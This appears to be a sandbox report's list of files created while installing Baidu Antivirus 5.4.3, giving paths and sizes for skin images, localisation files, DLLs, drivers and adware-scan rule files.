%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUpdater\skin.xml (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installSlice_31.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_nor_unknown.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installSlice_16.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_blue.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\summary_top_safe_text.png (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\black_pop_detected.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkox_unsel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\dl_scanning.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\onBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\menu\menu_checked.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\listLine.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\btnN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_type_file.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\log_repaired.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\blue_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_orange.bmp (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\ProcessCustomScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\icon\360.ico (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHAVHandler.dll (274 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\GuideSlice_6.png (97 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\gray_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\investigate_op_layout3_bg.png (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\guide_welcome.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\dl_scanning.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\main_title_noprocess.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Tools\Plugin_Tools.dll (156 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\arrowUpN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\I18N\1054\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_blue.bmp (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1208.plushd.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\85Play_Games.rul (609 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\main_icon_gif.png (131 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1178.IminentToolbar.rul (48 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHipsConfig.ini (538 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\feedback\skin\SUBMIT_bg2.png (66 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1086.DownloadEnergyToolbar.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\feedback\skin\SUBMIT_bg2.png (64 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\main_title_noprocess.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn_lan_push.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\Common.7z (34186 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\arrowDownH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\Other.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_modifyhomepage.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_scan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\ProcessRightmenuScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavDd.dll (3700 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\lockClosed.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\arrow_hover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1211.surfandkeep.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\dl_threat_s.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\blue_arrow_down.png (960 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\dl_threat.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Trust\res\skin\icon_allowed.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\set_tab_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\Deal Spy.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_feedback.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_protection.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\black_pop_excluded.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\black_pop_suessfully.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\dl_safe.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\netshop_bg.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\closenormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\TopBtnClose.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\arrawalpha.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\feedback\skin\main-feedback_tittle.png (72 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox\radio_unsel_disable.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\tipBox.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_protect.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin\usblockOrangeBg.bmp (1659 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\customscan_icon.png (1 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\71 (20486 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1132.SerifBar.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\investigate_op_layout3_bg.png (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\guide_welcome.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_unsel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_blue_arrow_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\default_app_logo.png (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\context\context.ini (312 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkox_sel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin\usblockBlueBg.bmp (1659 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1067.SearchAssistant.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\minN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUpdater\skin.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HackerDefense.dll (106 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\bg200.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\log_time.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Pop_Download\Plugin_Pop_Download.dll (297 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\red_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_type_reg.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bnmon64.sys (82 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Operation.dll (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavPluginRemove\skin.xml (30 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\checkox_unsel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\btnN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdCameraProtect64.sys (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\logosmall3.png (68 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\progressbar\light.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\continue.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\safe_icon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_type_process.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\hips_traffic_bg.png (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_scan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSig.dll (159 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\arrawicon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1213.ZenDeals.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\Aflamster.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_open.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\icon_ok.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\main_title_safe.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\role_4.png (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\menu\menu_item_background.bmp (73 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\10.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\icon\logo.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\virusGray.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\enabledTips.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\arrow_right_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\context\context.ini (364 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\main.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_cer.png (37 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bs1_default_pic.png (116 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bg_pcf_popularise.png (78 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\DeleteTips\DarkLanguageConfig.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_scan_menu.bmp (42 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\red_btn_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\url_rec.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\submit_bg.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_dl_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\scrollbar\scrollbar_thumb_down.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn_lan_normal.png (990 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\bsrconfig.ini (146 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUpdater.exe (22433 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkox_sel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\scrollbarDown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\ProcessCustomScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\progressbar\bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\ShoppingSidekick.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\ac.dat (40 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\unloadInvestigateTitle_cry.png (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\searchya.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_safe.bmp (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUpdateInfo.ini (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\tree_title_bk2.bmp (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1248.hotspotshieldelite.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_addautorun.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\checkbox_sound_uncheck_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1143.BrowserPlus2.rul (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUpdater\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\ProcessCustomScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ReportComm.dll (1690 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_type_netkill.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\black_pop_suessfully.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavFi.dll (105 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1088.yontooToolbar.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\safeicon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\msgbox\FileShredderBlueIcon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHHandler001.dll (1859 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1219.ScorpionSaver.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1187.Strongvault.rul (82 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_update_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\progress_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin.xml (92 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\icon_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\red_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_Fail.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin2052.txt (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\feedback_button_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\icon_del.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\checkeditem.jpg (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_malware_scan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\black_pop_detected.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnClose.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\black_pop_excluded.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_open.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavPluginRemove\skin.xml (29 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_green.bmp (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\menu\menu_item_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1157.AppsHat.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\dl_safe_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\redpoint.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_type_suspicious.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\GuideSlice_6.png (95 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\progressbar\light.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\appbario7.rul (22 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1060.LuckySavings.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\qs.dat (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Download\res\skin\icon\watting.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\Temp\SkinRules.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\unloadInvestigateTitle_cry.png (38 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\foldDisable.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1216.BuzzSearch.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\gray_over.png (1 bytes)
